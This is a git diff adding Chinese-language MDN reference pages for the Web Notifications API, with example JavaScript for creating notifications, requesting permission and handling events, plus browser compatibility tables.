  • sticky: 一个 {{domxref("Boolean")}} 指明通知是否应该是“粘”, 即不易被用户清理。默认值为false,这意味着它不会粘。
  • +
+ +

 

+
+
+ +

Example

+ +

In our Emogotchi demo (see source code), we run a simple spawnNotification() function when we want to fire a notification — this is passed arguments to specify the body, icon and title we want, then it creates the necessary options object and fires the notification using the Notification() constructor.

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Notifications","#dom-notification-notificationtitle-options","Notification()")}}{{Spec2('Web Notifications')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5 {{ property_prefix("webkit") }} (see notes)
+ 22
4.0 {{ property_prefix("moz") }} (see notes)
+ 22
{{ CompatNo() }}256 (see notes)
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
icon option5 {{ property_prefix("webkit") }} (see notes)
+ 22
4.0 {{ property_prefix("moz") }} (see notes)
+ 22
{{ CompatNo() }}25{{ CompatNo() }}
vibrate{{CompatChrome(45.0)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
requireInteraction{{CompatChrome(47.0)}}  32 
renotify{{CompatChrome(50.0)}}    
badge{{compatChrome(53.0)}}  {{CompatOpera(39.0)}} 
image{{compatChrome(55.0)}}  {{CompatUnknown}} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatUnknown() }} +

{{CompatVersionUnknown}}

+
4.0 {{ property_prefix("moz") }} (see notes)
+ 22
1.0.1 {{ property_prefix("moz") }} (see notes)
+ 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }} +

{{CompatVersionUnknown}}

+
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
icon option{{ CompatUnknown() }}{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (see notes)
+ 22
1.0.1 {{ property_prefix("moz") }} (see notes)
+ 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}{{CompatVersionUnknown}}
vibrate{{ CompatNo() }}{{CompatChrome(45.0)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}32{{ CompatNo() }}{{CompatChrome(45.0)}}
requireInteraction{{CompatNo}}{{CompatNo}}     {{CompatNo}}
renotify{{CompatNo}}{{CompatNo}}     {{CompatChrome(50.0)}}
badge{{CompatNo}}{{compatChrome(53.0)}}   {{CompatOperaMobile(39.0)}} {{compatChrome(53.0)}}
image{{CompatNo}}{{CompatNo}}   {{CompatUnknown}} {{compatChrome(55.0)}}
+
+ +

Firefox OS notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome notes

+ +

Starting in Chrome 49, notifications do not work in incognito mode.

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/onclick/index.html b/files/zh-cn/web/api/notification/onclick/index.html new file mode 100644 index 0000000000..7901b19faa --- /dev/null +++ b/files/zh-cn/web/api/notification/onclick/index.html @@ -0,0 +1,58 @@ +--- +title: Notification.onclick +slug: Web/API/notification/onclick +tags: + - Notification.onclick +translation_of: Web/API/Notification/onclick +--- +

{{APIRef("Web Notifications")}}

+ +

{{domxref("Notification")}} 接口的 onclick属性指定一个事件侦听器来接收 {{event("click")}} 事件。

+ +

当用户点击一个显示的{{domxref("Notification")}}时,会发生这些事件。

+ +

Syntax

+ +
Notification.onclick = function(event) { ... };
+
+ +

该方法的默认行为是将焦点移到与该通知相关联的 browsing context 的窗口. 如果你不希望这样, 可以在 event 对象上调用 preventDefault().

+ +

Examples

+ +

在下面这个例子中,我们使用 onclick 处理程序来监听点击通知的事件, 并在新窗口(通过包含一个参数'_blank')打开一个页面:

+ +
notification.onclick = function(event) {
+  event.preventDefault(); // prevent the browser from focusing the Notification's tab
+  window.open('http://www.mozilla.org', '_blank');
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-onclick','onclick')}}{{Spec2('Web Notifications')}}Living standard.
+ +

Browser compatibility

+ +

{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/onclose/index.html b/files/zh-cn/web/api/notification/onclose/index.html new file mode 100644 index 0000000000..7c8577c85d --- /dev/null +++ b/files/zh-cn/web/api/notification/onclose/index.html @@ -0,0 +1,34 @@ +--- +title: Notification.onclose +slug: Web/API/notification/onclose +tags: + - Notification.onclose +translation_of: Web/API/Notification/onclose +--- +

{{APIRef("Web Notifications")}}

+ +

Summary

+ +

{{domxref("Notification")}}  接口的 onclose属性指定一个事件侦听器来接收 {{event("close")}}事件。

+ +

当一个{{domxref("Notification")}}关闭时,会发生这些事件。

+ +

Syntax

+ +
Notification.onclose = function() { ... };
+
+ +

Specifications

+ +

This event handler is no longer listed in the Notifications API spec.

+ +

Browser compatibility

+ +

{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/onerror/index.html b/files/zh-cn/web/api/notification/onerror/index.html new file mode 100644 index 0000000000..6cf9d7295d --- /dev/null +++ b/files/zh-cn/web/api/notification/onerror/index.html @@ -0,0 +1,54 @@ +--- +title: Notification.onerror +slug: Web/API/notification/onerror +tags: + - Notification.onerror +translation_of: Web/API/Notification/onerror +--- +

{{APIRef("Web Notifications")}}

+ +

Summary

+ +

{{domxref("Notification")}}  接口的 onerror属性指定一个事件侦听器来接收 {{event("error")}} 事件。

+ +

当一个 {{domxref("Notification")}} 发生错误时,会发生这些事件(在许多情况下,一个错误阻止显示通知)。

+ +

 

+ +

Syntax

+ +
Notification.onerror = EventListener;
+ +

Value

+ +

A {{jsxref("function")}} which serves as the event handler for the {{event("error")}} event. When an error occurs, the specified function will be called. If null, no error handler is in effect.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-onerror','onerror')}}{{Spec2('Web Notifications')}}Initial specification.
+ +

Browser compatibility

+ +

{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/onshow/index.html b/files/zh-cn/web/api/notification/onshow/index.html new file mode 100644 index 0000000000..0b3feb6fdc --- /dev/null +++ b/files/zh-cn/web/api/notification/onshow/index.html @@ -0,0 +1,34 @@ +--- +title: Notification.onshow +slug: Web/API/notification/onshow +tags: + - Notification.onshow +translation_of: Web/API/Notification/onshow +--- +

{{APIRef("Web Notifications")}}

+ +

Summary

+ +

{{domxref("Notification")}} 接口的onshow属性指定一个事件侦听器来接收 {{event("show")}}事件。

+ +

当一个 {{domxref("Notification")}} 显示时,会发生这些事件。

+ +

Syntax

+ +
Notification.onshow = function() { ... };
+
+ +

Specifications

+ +

This event handler is no longer listed in the Notifications API spec.

+ +

Browser compatibility

+ +

{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/permission/index.html b/files/zh-cn/web/api/notification/permission/index.html new file mode 100644 index 0000000000..7cd16cf9d1 --- /dev/null +++ b/files/zh-cn/web/api/notification/permission/index.html @@ -0,0 +1,179 @@ +--- +title: Notification.permission +slug: Web/API/notification/permission +translation_of: Web/API/Notification/permission +--- +

{{APIRef("Web Notifications")}}

+ +

Notification 的只读属性 permission 用来表明用户是否允许当前域显示Web Notification. 

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
var permission = Notification.permission;
+ +

Value

+ +

permission 的类型为 {{domxref("DOMString")}} . 该属性的可能值为:

+ + + +

Examples

+ +

下面的代码片段详细的说明了,当你首次检查浏览器是否支持Notification,然后检查当前域是否被授予了发送Notification的权限,并且在发送一个通知前进行请求的用法.

+ +
function notifyMe() {
+  // Let's check if the browser supports notifications
+  if (!("Notification" in window)) {
+    console.log("This browser does not support desktop notification");
+  }
+
+  // Let's check whether notification permissions have alredy been granted
+  else if (Notification.permission === "granted") {
+    // If it's okay let's create a notification
+    var notification = new Notification("Hi there!");
+  }
+
+  // Otherwise, we need to ask the user for permission
+  else if (Notification.permission !== 'denied' || Notification.permission === "default") {
+    Notification.requestPermission(function (permission) {
+      // If the user accepts, let's create a notification
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // At last, if the user has denied notifications, and you
+  // want to be respectful there is no need to bother them any more.
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Notifications","#dom-notification-permission","permission")}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5 {{ property_prefix("webkit") }} (see notes)
+ 22
{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (see notes)
+ 22
{{ CompatNo() }}256 (see notes)
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatUnknown() }} +

{{CompatVersionUnknown}}

+
{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (see notes)
+ 22
1.0.1 {{ property_prefix("moz") }} (see notes)
+ 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }} +

{{CompatVersionUnknown}}

+
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Firefox OS notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/renotify/index.html b/files/zh-cn/web/api/notification/renotify/index.html new file mode 100644 index 0000000000..0f7620b6c0 --- /dev/null +++ b/files/zh-cn/web/api/notification/renotify/index.html @@ -0,0 +1,68 @@ +--- +title: Notification.renotify +slug: Web/API/notification/renotify +translation_of: Web/API/Notification/renotify +--- +
+
{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}
+ +

renotify 是 {{domxref("Notification")}} 接口的只读属性,如果有新的通知替换了一个旧的通知,这个属性指明用户是否应该重新收到通知。它也可以通过{{domxref("Notification.Notification","Notification()")}} 构造函数的 renotify option 来指定。

+
+ +

语法

+ +
var renotify = Notification.renotify;
+
+ +

+ +

{{domxref("Boolean")}}. 默认为false;设为 true 将会重新通知用户。

+ +

例子

+ +

以下代码片段用于在一个通知被替换以后触发通报以重新通知用户;它创建一个简单的 options 对象,然后使用Notification() 构造函数触发通报。

+ +
var options = {
+  body: 'Do you like my body?',
+  tag: 'renotify',
+  renotify: true
+}
+
+var n = new Notification('Test notification',options);
+
+n.renotify // should return true
+ +

使用注意

+ +

renotify 覆盖通知选项必须搭配 tag 标签选项进行使用,否则会收到错误通知。

+ +
Notifications which set the renotify flag must specify a non-empty tag.
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications','#dom-notification-renotify','renotify')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.Notification.renotify")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/notification/requestpermission/index.html b/files/zh-cn/web/api/notification/requestpermission/index.html new file mode 100644 index 0000000000..90b3efebff --- /dev/null +++ b/files/zh-cn/web/api/notification/requestpermission/index.html @@ -0,0 +1,174 @@ +--- +title: Notification.requestPermission() +slug: Web/API/notification/requestPermission +tags: + - 通知 +translation_of: Web/API/Notification/requestPermission +--- +

{{APIRef("Web Notifications")}}

+ +

{{domxref("Notification")}} 接口的 requestPermission() 方法请求用户当前来源的权限以显示通知。

+ +

语法

+ +

最新的规范已将此方法更新为基于promise的语法,工作原理如下:

+ +
Notification.requestPermission().then(function(permission) { ... });
+ +

以前,语法是基于一个简单的回调;此版本现已弃用

+ +
Notification.requestPermission(callback);
+ +

参数

+ +
+
callback {{optional_inline}} {{deprecated_inline("gecko46")}}
+
一个可选的参数为权限请求的结果的回调函数。此参数已废弃,请使用Promise的语法。
+
+ +

返回值

+ +

一个 {{jsxref("Promise")}} ,将解析为一个 {{domxref("DOMString")}} ,它是用户对权限请求的选择。这个字符串可以是 granted(被授予), denied(被拒绝) 或者 default(默认)。

+ +

实例

+ +

下面这个代码片段将向用户请求权限,然后根据用户的不同选择,输出不同的日志。

+ +
Notification.requestPermission().then(function(result) {
+  if (result === 'denied') {
+    console.log('Permission wasn\'t granted. Allow a retry.');
+    return;
+  }
+  if (result === 'default') {
+    console.log('The permission request was dismissed.');
+    return;
+  }
+  // Do something with the granted permission.
+});
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
+ 22
{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoDesktop("22.0")}}
{{CompatNo}}256[3]
promise-based version{{CompatChrome(46.0)}}{{CompatUnknown}}{{CompatGeckoDesktop("47.0")}}{{CompatUnknown}}{{CompatOpera(40)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoMobile("22.0")}}
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
promise-based version{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("47.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在 Chrome 22 之前,对于通知的支持请参考 old prefixed version of the specification 它使用 {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} 对象去实例化一个新的通知。

+ +

在 Chrome 32 之前,不支持 {{domxref("Notification.permission")}} 。

+ +

在 Chrome 42 之前,不支持在 service worker 中使用这个API。

+ +

[2] 对于 Firefox 22 之前的版本 (Firefox OS <1.2),实例化一个新的通知必须使用 {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} 对象中的 createNotification 方法.

+ +

对于 Firefox 22 之前的版本 (Firefox OS <1.2),通知只会在 show 方法被调用后显示,而且只支持 click 和 close 事件。

+ +

Nick Desaulniers 写了一个 Notification shim 来同时兼容新旧两种写法。

+ +

在 Firefox OS 上有一个特殊的问题是:虽然你可以在通知中使用 包含路径的图标 ,但是如果应用被打包了,你就不能使用形如 /my_icon.png 这样的相对路径。当然你也不能使用window.location.origin + "/my_icon.png" ,因为 window.location.origin 在打包的应用中的值是nullmanifest origin field 修复了这个问题,但是它只能在 Firefox OS 1.1+ 中使用。一个潜在的支持 Firefox OS <1.1 的解决方案是 传递一个指向外部部署的图标的绝对路径的URL。这并不是一个理想的解决方案,因为这将导致通知以无图标的形式出现,然后图标才会被获取,但是这个方法适用于所有版本的 Firefox OS.

+ +

在 Firefox OS app 中使用通知的时候,确保添加 desktop-notification 权限到你的 manifest 文件中。通知即可在任何权限等级,外部部署或者像下面这样 "permissions": { "desktop-notification": {} } 的情况下使用。

+ +

[3] Safari 在 Safari 6 之后支持通知,但是只能在 Mac OSX 10.8+ (Mountain Lion) 中使用。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/notification/requireinteraction/index.html b/files/zh-cn/web/api/notification/requireinteraction/index.html new file mode 100644 index 0000000000..a13a2eb100 --- /dev/null +++ b/files/zh-cn/web/api/notification/requireinteraction/index.html @@ -0,0 +1,59 @@ +--- +title: Notification.requireInteraction +slug: Web/API/notification/requireInteraction +tags: + - Notification + - 属性 + - 网页 +translation_of: Web/API/Notification/requireInteraction +--- +

{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}

+ +

{{domxref("Notification")}} 接口的 requireInteraction 属性是只读属性,它返回一个 {{jsxref("Boolean")}} (布尔值),指示在用户点击或关闭通知前,通知应该保持活动状态,而不是自动关闭。

+ +
+

注意: 此属性可以在创建通知时通过在 {{domxref("Notification.Notification()")}} 构造器的 options 参数接收的对象上设置 requireInteraction 属性为 true 来进行设置

+
+ +

语法

+ +
function spawnNotification(theTitle,theBody,shouldRequireInteraction) {
+  var options = {
+      body: theBody, //通知正文
+      requireInteraction: shouldRequireInteraction //在此处设置 requireInteraction
+  }
+  var n = new Notification(theTitle,options);
+}
+ +

+ +

{{jsxref("Boolean")}} (布尔值)。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态意见
{{SpecName('Web Notifications','#dom-notification-requireinteraction','requireInteraction')}}{{Spec2('Web Notifications')}}现今标准
+ +

浏览器支持

+ + + +

{{Compat("api.Notification.requireInteraction")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/notification/sound/index.html b/files/zh-cn/web/api/notification/sound/index.html new file mode 100644 index 0000000000..ffe90b4955 --- /dev/null +++ b/files/zh-cn/web/api/notification/sound/index.html @@ -0,0 +1,129 @@ +--- +title: Notification.sound +slug: Web/API/notification/sound +translation_of: Web/API/notification/sound +--- +

{{APIRef("Web Notifications")}}

+ +
+

Note: 这个属性并没有完全被一些浏览器支持.

+
+ +

 sound 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the sound option of the {{domxref("Notification.Notification","Notification()")}} constructor.

+ +

Syntax

+ +
var sound = Notification.sound;
+
+ +

Value

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +

The following snippet is intended to fire a sound along with the notification; a simple options object is created, then the notification is fired using the Notification() constructor.

+ +
var options = {
+  body: 'Do you like my body?',
+  sound: 'audio/alert.mp3'
+}
+
+var n = new Notification('Test notification',options);
+
+n.sound // should return 'audio/alert.mp3'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-sound','sound')}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} +

{{ CompatNo() }}

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} +

{{ CompatNo() }}

+
+
+ +

Firefox OS notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari notes

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/using_web_notifications/index.html b/files/zh-cn/web/api/notification/using_web_notifications/index.html new file mode 100644 index 0000000000..40bbb3848b --- /dev/null +++ b/files/zh-cn/web/api/notification/using_web_notifications/index.html @@ -0,0 +1,292 @@ +--- +title: 使用 Web Notifications +slug: Web/API/notification/Using_Web_Notifications +tags: + - Firefox OS + - Notifications + - Using the Notifications API + - 通知 +translation_of: Web/API/Notifications_API/Using_the_Notifications_API +--- +

{{APIRef("Web Notifications")}}

+ +

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

+ +

{{AvailableInWorkers}}

+ +

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

+ +

                             

+ +

                        

+ +

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

+ +

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

+ +

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

+ +
Notification.requestPermission( function(status) {
+  console.log(status); // 仅当值为 "granted" 时显示通知
+  var n = new Notification("title", {body: "notification body"}); // 显示通知
+});
+
+ +

请求权限

+ +

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

+ +

检查当前权限状态

+ +

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

+ +
+
default
+
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
+
granted
+
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
+
denied
+
用户已经明确的拒绝了显示通知的权限。
+
+ +
+

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

+
+ +

获得权限

+ +

如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

+ +

通常你应在你的应用首次初始化的时候请求显示通知的权限:

+ +
window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});
+ +
+

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

+
+ +

Notification API 的清单权限

+ +

请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

+ +
"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+}
+ +
+

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

+
+ +

创建通知

+ +

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

+ +

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

+ +
+
{{event("show")}}
+
当通知被显示给用户时触发。
+
{{event("click")}}
+
当用户点击通知时触发。
+
{{event("close")}}
+
当通知被关闭时触发。
+
{{event("error")}}
+
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
+
+ +

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

+ +
+

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

+ +

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

+ +
var n = new Notification("Hi!");
+n.onshow = function () {
+  setTimeout(n.close.bind(n), 5000);
+}
+
+ +

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

+
+ +

简单的例子

+ +

假定有如下的 HTML:

+ +
<button>Notify me!</button>
+ +

它可能通过这样的方式处理通知:

+ +
window.addEventListener('load', function () {
+  // 首先,让我们检查我们是否有权限发出通知
+  // 如果没有,我们就请求获得权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意就创建一个通知
+    if (window.Notification && Notification.permission === "granted") {
+      var n = new Notification("Hi!");
+    }
+
+    // 如果用户没有选择是否显示通知
+    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
+    // 检查该属性的值是否是 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意了
+        if (status === "granted") {
+          var n = new Notification("Hi!");
+        }
+
+        // 否则,我们可以让步的使用常规模态的 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝接受通知
+    else {
+      // 我们可以让步的使用常规模态的 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

这是实际的结果:

+ +

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

+ +

处理重复的通知

+ +

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

+ +

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

+ +

使用标记的例子

+ +

假定有如下 HTML:

+ +
<button>Notify me!</button>
+ +

它有可能通过这种方式处理的多个通知:

+ +
window.addEventListener('load', function () {
+  // 首先,我们检查是否具有权限显示通知
+  // 如果没有,我们就申请权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意接收通知,我们就尝试发送10条通知
+    if (window.Notification && Notification.permission === "granted") {
+      for (var i = 0; i < 10; i++) {
+        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
+        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+      }
+    }
+
+    // 如果用户没有选择是否同意显示通知
+    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
+    // 该属性值是否为 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意
+        if (status === "granted") {
+          for (var i = 0; i < 10; i++) {
+            // Thanks to the tag, we should only see the "Hi! 9" notification
+            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+          }
+        }
+
+        // 否则改用 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝
+    else {
+      // 改用 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

实际效果如下:

+ +

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

+ +

接收点击应用通知的通知

+ +

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

+ +
    +
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. +
